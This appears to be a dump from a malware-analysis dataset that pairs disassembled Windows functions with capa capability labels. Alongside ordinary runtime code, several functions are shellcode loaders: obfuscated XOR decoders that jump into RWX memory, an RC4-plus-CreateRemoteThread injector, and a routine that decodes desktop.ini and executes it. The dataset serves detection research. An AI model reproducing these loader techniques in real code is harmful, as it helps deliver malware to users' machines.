joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412e82
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412d01

Function at 0x4171e6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416b54

Function at 0x4171f1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416d8f

Function at 0x10019df5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10019e04
pop dword [ebp - 0x20]
mov eax, 0x7de118a6
sub eax, 0x6ddf7aa2
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x41b1e
push 0
mov eax, 0xe24a8179
sub eax, 0xd24700ed
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x4dbe
mov edx, eax
mov ebx, 0x28ff63b4
add ebx, 0xe704784c
add ebx, dword [ebp - 0x20]
mov esi, 0xca723cde
mov dword [ebp - 8], 0xcf78ff60
mov edi, dword [ebx]
sub dword [ebp - 8], edi
xor edi, esi
xor dword [ebp - 0xc], edi
mov dword [edx], edi
add dword [ebp - 8], ebx
add edx, 4
add ebx, 0x522b34c3
sub ebx, 0x522b34bf
loop 0x10019e57
add eax, 0x5ce798e8
add eax, 0xa31990e3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x3d80a07b
add ecx, 0xd27f5f85
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x10029b10
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x10034060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10037104]
test dword [ebp + 8], eax
je 0x10029bba
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.10019df5
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10037100]
test eax, eax
je 0x10029bad
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.10019df5
mov eax, dword [0x10034058]
pop ecx
pop ecx
test eax, eax
jle 0x10029bba
push esi
mov esi, dword [0x10037108]
push edi
mov edi, dword [0x1003710c]
cdq
push edx
push eax
push edi
push esi
call fcn.1002a520
add esi, 1
mov dword [0x10037108], esi
adc edi, 0
or eax, edx
mov dword [0x1003710c], edi
pop edi
pop esi
jne 0x10029bba
push dword [0x10037100]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10029bba
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10029e60
leave
ret
Function at 0x100173a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100173b3
pop dword [ebp - 0x10]
mov eax, 0x7465701c
sub eax, 0x6463fc69
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x29b111e4
sub dword [ebp - 0x20], 0xdb5ecc99
mov dword [ebp - 0x1c], 0x9b4fc33e
sub dword [ebp - 0x1c], 0x691c76f9
mov dword [ebp - 0x18], 0xe6cafa35
sub dword [ebp - 0x18], 0x9a7eb607
mov dword [ebp - 0x14], 0x5989a34a
sub dword [ebp - 0x14], 0x5989a34a
lea eax, [ebp - 0x20]
push eax
mov eax, 0x7c81dd5d
add eax, 0x938343b3
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x6d984c4a
sub dword [ebp - 0x20], 0xf925e2f4
mov dword [ebp - 0x1c], 0x365e953b
sub dword [ebp - 0x1c], 0xf4f233c6
mov dword [ebp - 0x18], 0x8458b187
sub dword [ebp - 0x18], 0x20e9451b
mov dword [ebp - 0x14], 0x8fdbe7fc
add dword [ebp - 0x14], 0x70241804
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x5b0eb
push 0
call eax
mov ecx, 0x21a6a4a
add ecx, 0xfde5dbbf
xor esi, esi
add esi, eax
mov edi, 0x10061000
add edi, dword [ebp - 0x10]
mov edx, 0x43a06e04
add dword [ebp - 8], ebx
mov ebx, dword [edi]
add dword [ebp - 8], eax
sub ebx, edx
mov dword [ebp - 4], 0xc3a2bfaa
mov dword [esi], ebx
xor dword [ebp - 8], esi
add esi, 0x4186e03b
sub esi, 0x4186e037
add edi, 4
loop 0x100174c6
add eax, 0xb30d09ff
sub eax, 0xb30bff08
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401c27
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x220
mov eax, dword [0x472500]
xor eax, esp
mov dword [esp + 0x21c], eax
mov eax, dword [esp + 0x224]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x238]
xor ebp, ebp
push edi
mov dword [esp + 0x28], eax
mov ecx, ebp
mov ebx, 0x100
mov eax, ecx
mov byte [esp + ecx + 0x2c], cl
cdq
idiv dword [esp + 0x240]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, ebx
jl 0x401c5a
mov esi, ebp
mov edi, ebp
mov dl, byte [esp + esi + 0x2c]
movzx eax, byte [esp + esi + 0x12c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401c9e
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x2c]
mov byte [esp + esi + 0x2c], al
inc esi
mov byte [esp + edi + 0x2c], dl
cmp esi, ebx
jl 0x401c7b
mov ecx, ebp
mov edx, ebp
mov edi, ebp
cmp dword [esp + 0x238], ecx
jle 0x401d9d
mov dword [esp + 0x24], ebp
inc ecx
and ecx, 0x800000ff
jns 0x401cd7
dec ecx
or ecx, 0xffffff00
inc ecx
mov bl, byte [esp + ecx + 0x2c]
movzx esi, bl
add edx, esi
mov dword [esp + 0x1c], ecx
and edx, 0x800000ff
jns 0x401cf4
dec edx
or edx, 0xffffff00
inc edx
lea eax, [esp + 0x24]
mov dword [esp + 0x20], edx
push eax
push ebp
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.004013ee
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
sub eax, ebp
sar eax, 2
mov eax, dword [ebp + eax*4 - 4]
add eax, 0x41c300
push eax
push 0x473388
call fcn.004010d0
mov edx, dword [esp + 0x28]
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov al, byte [esp + edx + 0x2c]
mov byte [esp + ecx + 0x2c], al
mov byte [esp + edx + 0x2c], bl
movzx eax, byte [esp + ecx + 0x2c]
mov ebx, dword [esp + 0x28]
add eax, esi
movzx eax, al
mov al, byte [esp + eax + 0x2c]
xor byte [ebx + edi], al
test ebp, ebp
je 0x401d8d
mov eax, dword [esp + 0x18]
sub eax, ebp
and eax, 0xfffffffc
push eax
push ebp
call fcn.004013c2
mov edx, dword [esp + 0x28]
xor ebp, ebp
pop ecx
pop ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
jmp 0x401d8f
xor ebp, ebp
inc edi
cmp edi, dword [esp + 0x238]
jl 0x401cc6
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404afb
add esp, 0x220
ret

Function at 0x4020fc
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x402127
mov al, byte [edx + ecx]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [esp + 8]
jb 0x402108
ret
Function at 0x40230a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x472500]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401648
push 0xc
call fcn.00404abd
pop ecx
test eax, eax
je 0x402343
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004016a1
jmp 0x402345
xor eax, eax
mov esi, dword [eax + 4]
shl esi, 2
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
lea eax, [ebp - 0x20]
mov ebx, 0x4ac
mov edi, 0x472018
sub esi, 0x40
push eax
push 0x40
push ebx
push edi
push 0xffffffffffffffff
mov dword [ebp - 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.004020fc
push 0x12
push section..data
push 0x4c000
mov esi, 0x426018
push esi
call fcn.00401c27
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push esi
push 0x4721a0
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateCaret]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push 0xfc11
call dword [sym.imp.USER32.dll_ShowWindowAsync]
call dword [sym.imp.USER32.dll_InSendMessageEx]
push 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea ecx, [ebp - 0x1c]
call fcn.00401fb0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404afb
leave
ret
Function at 0x4110a3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410f14

Function at 0x41149d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004055f0
mov eax, dword [0x472500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00410109
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4114df
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41163b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041b330
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x473e20]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00412494
mov ecx, dword [esi*4 + 0x473e20]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x411634
cmp eax, dword [edi + ecx + 0x24]
jne 0x411634
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411634
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00412494
add esp, 0x14
test edx, edx
jl 0x411634
jg 0x4115aa
test eax, eax
jb 0x411634
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x411634
jl 0x4115c4
cmp dword [ebp - 0x1008], eax
ja 0x411634
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4115e2
test ebx, ebx
je 0x41161b
cmp ecx, edi
jae 0x41161b
mov al, byte [ecx]
cmp al, 0xd
jne 0x4115fc
lea eax, [edi - 1]
cmp ecx, eax
jae 0x411608
cmp byte [ecx + 1], 0xa
jne 0x411608
inc ecx
jmp 0x411608
movzx eax, al
movsx eax, byte [eax + 0x4727b8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4115e2
cmp edx, ebx
jne 0x4115e2
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x411639
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404afb
leave
ret
Function at 0x411932
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x473e20]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411972
cmp byte [ebx], 0xa
jne 0x411972
or byte [eax + edi + 0x28], 4
jmp 0x411977
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x411a75
mov al, byte [edx]
cmp al, 0x1a
je 0x411a57
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4119a6
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4119cb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4119d5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x411988
jmp 0x411a75
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411a52
cmp dword [ebp - 0xc], 0
je 0x411a52
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x473e20]
test byte [eax + edi + 0x28], 0x48
je 0x411a2c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411a17
mov byte [esi], dl
jmp 0x411a28
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x473e20]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x411a75
cmp byte [ebp - 1], 0xa
jne 0x411a3b
cmp esi, ebx
jne 0x411a3b
mov byte [esi], 0xa
jmp 0x411a74
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004124b2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x411a75
mov byte [esi], 0xd
jmp 0x411a74
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x473e20]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411a71
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411a75
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x411a7e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x473e20]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x411ac1
cmp word [esi], dx
jne 0x411ac1
or byte [edi + eax + 0x28], 4
jmp 0x411ac6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411c19
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411bf9
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411b08
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x411b3e
cmp eax, edx
jae 0x411b4a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411ae0
jmp 0x411c19
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411bf5
cmp dword [ebp - 0x14], 0
je 0x411bf5
mov eax, dword [ebx*4 + 0x473e20]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x411bcd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x411b96
mov word [esi], cx
jmp 0x411bc9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x473e20]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x473e20]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x473e20]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411c19
pop ebx
cmp word [ebp - 4], bx
jne 0x411bde
cmp esi, dword [ebp + 0xc]
jne 0x411bde
mov word [esi], bx
jmp 0x411c16
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004124b2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x411c19
push 0xd
jmp 0x411c12
mov ecx, dword [ebx*4 + 0x473e20]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411c10
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411c19
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x415686
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x415723
push ebx
push esi
call fcn.0041564f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004142d4
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4156d0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415722
push edi
push eax
call fcn.00412691
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4156f0
call fcn.0040f668
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415721
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004142d4
add esp, 0x20
test eax, eax
jne 0x41570f
push edi
call fcn.0040f668
jmp 0x415717
push ebx
call fcn.0040f668
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41b2f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b31d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b31d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x3d435b5d
Capabilities:
Identify system language via api

Disassembly:
test byte [0x3d49c574], 1
jne 0x3d435b7f
or dword [0x3d49c574], 1
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
and eax, 0x3ff
mov dword [0x3d49c570], eax
jmp 0x3d435b84
mov eax, dword [0x3d49c570]
test byte [0x3d49c574], 2
jne 0x3d435bb1
or dword [0x3d49c574], 2
cmp eax, 0x11
je 0x3d435baa
cmp eax, 0x12
je 0x3d435baa
cmp eax, 4
mov byte [0x3d49c56c], 0
jne 0x3d435bb1
mov byte [0x3d49c56c], 1
mov al, byte [0x3d49c56c]
ret

Function at 0x3d450385
Capabilities:
Delete file

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x3d450397
call fcn.3d4561a5
mov byte [esi + 4], 0
add esi, 8
mov ecx, dword [esi]
mov eax, dword [ecx - 4]
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle 0x3d4503b6
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileW]
mov ecx, esi
call fcn.3d4310c0
mov esi, dword [esi]
cmp word [esi], 0
je 0x3d4503c7
add esi, 0xfffffff8
push esi
call fcn.3d4561a5
pop esi
ret

Function at 0x3d4561a5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x3d4561b4
pop dword [ebp - 0x10]
mov eax, 0x426200d6
sub eax, 0x51c9f22
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x11e838c8
add dword [ebp - 0x20], 0x3c6a0c83
mov dword [ebp - 0x1c], 0x5980f185
sub dword [ebp - 0x1c], 0x274da540
mov dword [ebp - 0x18], 0xea1b2990
add dword [ebp - 0x18], 0x62311a9e
mov dword [ebp - 0x14], 0x346e4c73
add dword [ebp - 0x14], 0xcb91b38d
lea eax, [ebp - 0x20]
push eax
mov eax, 0x64b1698a
add eax, 0xd890a84e
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x8074e847
add dword [ebp - 0x20], 0xf3fd810f
mov dword [ebp - 0x1c], 0x3ff56160
add dword [ebp - 0x1c], 0x1770015
mov dword [ebp - 0x18], 0xe5997400
sub dword [ebp - 0x18], 0x822a0794
mov dword [ebp - 0x14], 0xb23f8f01
sub dword [ebp - 0x14], 0xb23f8f01
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x9d30d85f
sub eax, 0x5feec673
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x62532
push 0
call eax
mov ecx, 0x549e
mov ebx, eax
mov edx, 0xa1b4d3f1
add edx, 0x9b974c0f
add edx, dword [ebp - 0x10]
mov edi, 0x288d8d7f
mov esi, dword [edx]
xor dword [ebp - 4], 0x6906f21d
add esi, edi
sub dword [ebp - 8], 0x78129e04
mov dword [ebx], esi
add ebx, 4
add edx, 0x389de021
add edx, 0xc7621fe3
loop 0x3d4562ca
add eax, 0x22663ed3
sub eax, 0x2264f988
mov ebx, eax
add eax, 0x55410b51
sub eax, 0x55410b4c
mov ecx, 0x81143c75
add ecx, 0xbc2dc38b
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x3d488dd8
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov eax, dword [esi + 8]
push 0
lea edi, [esi + 0x20]
push edi
push 0x4000
lea ebx, [esi + 0x24]
push ebx
push eax
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x3d488e4a
mov ecx, dword [esi + 0x18]
test ecx, ecx
ja 0x3d488e0c
cmp byte [esi + 0x14], 1
jne 0x3d488e0c
push 2
pop eax
jmp 0x3d488e0e
xor eax, eax
mov dword [esi + 0x1c], eax
mov eax, dword [edi]
add ecx, eax
cmp byte [esi + 0x15], 0
mov dword [esi + 0x18], ecx
je 0x3d488e3e
cmp byte [esi + 0x14], 1
jne 0x3d488e3e
lea esi, [eax + esi + 0x23]
mov eax, ebx
jmp 0x3d488e3a
mov dl, byte [eax]
lea ecx, [eax + 1]
mov bl, byte [ecx]
mov byte [eax], bl
mov eax, ecx
mov byte [eax], dl
inc eax
cmp eax, esi
jb 0x3d488e2c
xor eax, eax
cmp eax, dword [edi]
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
ret
mov esi, dword [esi + 0xc]
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push esi
call fcn.3d48c8b7
int3

Function at 0x3d48c91f
Capabilities:
Set thread local storage value

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xc], 0
jne 0x3d48c44e
push dword [esi + 8]
call fcn.3d4561a5
and dword [esi + 8], 0
pop esi
ret
mov eax, dword [0x3d49c8bc]
test eax, eax
push esi
mov esi, ecx
je 0x3d48c936
push dword [esi + 0x10]
push dword [eax]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
pop esi
jmp 0x3d48c439

Function at 0x3d48c93e
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x3d49c8bc]
test eax, eax
je 0x3d48c960
push dword [eax]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x3d48c960
cmp byte [eax + 0xc], 0
jne 0x3d48c960
mov edx, dword [eax]
mov ecx, eax
jmp dword [edx + 0x10]
ret

Function at 0x3d48c9da
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push 4
mov eax, 0x3d493fcd
call fcn.3d48d664
mov esi, ecx
mov dword [ebp - 0x10], esi
mov byte [esi + 0xc], 1
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
call fcn.3d48c9c1
mov edi, eax
push dword [edi]
call dword [sym.imp.kernel32.dll_TlsGetValue]
push esi
mov dword [esi + 0x10], eax
push dword [edi]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov eax, esi
call fcn.3d48d73c
ret